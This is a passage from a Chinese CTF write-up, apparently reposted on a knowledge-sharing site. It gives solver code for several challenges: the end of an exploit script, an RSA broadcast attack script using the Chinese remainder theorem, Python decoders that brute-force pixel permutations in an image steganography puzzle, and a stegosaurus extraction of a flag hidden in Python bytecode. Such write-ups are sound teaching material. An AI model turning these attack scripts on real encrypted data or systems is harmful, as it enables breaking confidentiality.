tmp=tmp-(tmp%n)+int("flag".encode("hex"), 16)    io.read_until("x: ")    io.writeline(hex(tmp)[2:][8:].strip("L"))    io.read_until("y: ")    io.writeline(hex(u).strip("0x").strip("L"))    io.interact()exp(target)

后面就是泄露高bit p的factor n了。不过少泄露了一些bit,通过爆破即可。

OldDriver

Redbud的wp

RSA 的广播攻击,代码如下:

from functools import reduce import gmpy import json, binasciidef modinv(a, m):    return int(gmpy.invert(gmpy.mpz(a), gmpy.mpz(m)))def chinese_remainder(n, a):    sum = 0     prod = reduce(lambda a, b: a * b, n)     for n_i, a_i in zip(n, a):        p = prod // n_i        sum += a_i * modinv(p, n_i) * p     return int(sum % prod)nset = [] cset = []with open("data.txt") as f:    now = f.read().strip('\n')    now = eval(now)    print now    for item in now:        nset.append(item['n'])        cset.append(item['c'])m = chinese_remainder(nset, cset)m = int(gmpy.mpz(m).root(10)[0])print binascii.unhexlify(hex(m)[2:-1])

Misc

3RD_LSB

用工具LSBHIDE解出hint

Imgur

Imgur

  1. 分析得到

    i. 一维加密

利用key_b(rand_list_pixel_b)、key_g(rand_list_pixel_g)和key_r(rand_list_pixel_r)三张表,将基本结构体内部bit顺序进行顺序打乱

Imgur

i. 二维加密

利用key_x(rand_list_pixel_XX)和key_x(rand_list_pixel_YY)两张表将基本结构体进行顺序打乱(X和Y两个坐标)

Imgur

直接用key_b、key_g、key_r解出如下图样,具体无法辨别

Imgur

对两个10位的变换序列进行爆破,爆破的依据应该是几个4*4(上一步后的像素)块的连接处的像素之差绝对值的累计较低(用以减少人工判断的复杂度,阈值自定),可选取部分有字的区域(例如WHC)。

4 * 4   4 * 4   4 * 44 * 4   4 * 4   4 * 44 * 4   4 * 4   4 * 4

得到贴近的key_x,key_y

Imgur

从而解出flag

Imgur

Decode0.py

import cv2import randomimport numpy as nprand_list_pixel_b = (6, 4, 5, 3, 2, 1, 0, 7)rand_list_pixel_g = (5, 3, 7, 6, 2, 0, 4, 1)rand_list_pixel_r = (7, 5, 3, 0, 4, 6, 2, 1)def FLAG_DCD():    canvas = np.zeros((300, 480, 3),dtype="uint8")    image = cv2.imread(r"question.bmp")    for XX in range(0,300):        for YY in range(0,480):            rand_b = image[3 * XX + 1, 3 * YY + 1, 0] & 0b1            rand_g = image[3 * XX + 1, 3 * YY + 1, 1] & 0b1            rand_r = image[3 * XX + 1, 3 * YY + 1, 2] & 0b1            idx = 0            #print ""             for x in range(0,3):                for y in range(0,3):                    if x==1 and y==1:                        continue                    #print image[3 * XX + x, 3 * YY + y, 0] & 0b1 ^ rand_b,                     #print canvas[XX, YY, 0],                     canvas[XX, YY, 0] += (((image[3 * XX + x, 3 * YY + y, 0] & 0b1) ^ rand_b) << ((rand_list_pixel_b[idx])))                    canvas[XX, YY, 1] += (((image[3 * XX + x, 3 * YY + y, 1] & 0b1) ^ rand_g) << ((rand_list_pixel_g[idx])))                    canvas[XX, YY, 2] += (((image[3 * XX + x, 3 * YY + y, 2] & 0b1) ^ rand_r) << ((rand_list_pixel_r[idx])))                    #print bin(canvas[XX, YY, 0]),                     #print canvas[XX, YY, 0],                     idx += 1                    #print image[XX + x, YY + y],XX + x, YY + y     cv2.imwrite("flag_dcd_step0.bmp", canvas, params=None)FLAG_DCD()

Decode1.py

import cv2from itertools import permutationsimport randomimport numpy as npimage = cv2.imread(r"flag_dcd_step0.bmp")from itertools import permutationsdef count_chaos(img):    chaos = 0L    for xx in range(0,300):        for yy in range(0, 480):            try:                chaos += abs(long(img[xx,yy,0]) - long(img[xx+1,yy,0]))            except:                pass            try:                chaos += abs(long(img[xx,yy,0]) - long(img[xx-1,yy,0]))            except:                pass            try:                chaos += abs(long(img[xx,yy,0]) - long(img[xx,yy+1,0]))            except:                pass            try:                chaos += abs(long(img[xx,yy,0]) - long(img[xx,yy-1,0]))            except:                pass    return chaosdic = (permutations((0,1,2,3)))dic2 = (permutations((0,1,2,3)))dic = list(dic)dic2 = list(dic2)random.shuffle(dic)random.shuffle(dic2)dicc = []for rand_list_pixel_XX in dic:    for rand_list_pixel_YY in dic2:        dicc.append((rand_list_pixel_XX,rand_list_pixel_YY))random.shuffle(dicc)#print dic #''' for tmp in dicc:    rand_list_pixel_XX = tmp[0]    rand_list_pixel_YY = tmp[1]    canvas = np.zeros((300, 480, 3), dtype="uint8")    print rand_list_pixel_XX, rand_list_pixel_YY,    for XX in range(140, 160):        for YY in range(20, 60):            idx = 0            # print ""             canvas[XX, YY] = image[XX / 4 * 4 + rand_list_pixel_XX[XX % 4], YY / 4 * 4 + rand_list_pixel_YY[YY % 4]]    chaos =  count_chaos(canvas)    print chaos    if chaos < 150000:        cv2.imshow('image',canvas)        cv2.waitKey(0)#''' canvas = np.zeros((300, 480, 3), dtype="uint8")rand_list_pixel_XX = (2, 0, 1, 3)rand_list_pixel_YY = (3, 0, 1, 2)for XX in range(0, 300):    for YY in range(0, 480):        idx = 0        # print ""         canvas[XX, YY] = image[XX/4*4 + rand_list_pixel_XX[XX%4], YY/4*4 + rand_list_pixel_YY[YY%4]]cv2.imshow('image',canvas)cv2.waitKey(0)

Py-Py-Py

pyc是个假象

估计一开始选手拿到题目会尝试反编译pyc

会发现 一个Hint 告诉选手这是一个误区~ 这是一个python的隐写题目

用于在Python字节码中嵌入Payload的隐写方法

python36 stegosaurus.py pycache/pystego.cpython-36-stegosaurus.pyc -xExtracted payload: Flag{HiD3_Pal0ad1n_Python}
请先登录 +1 已点过赞
9

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多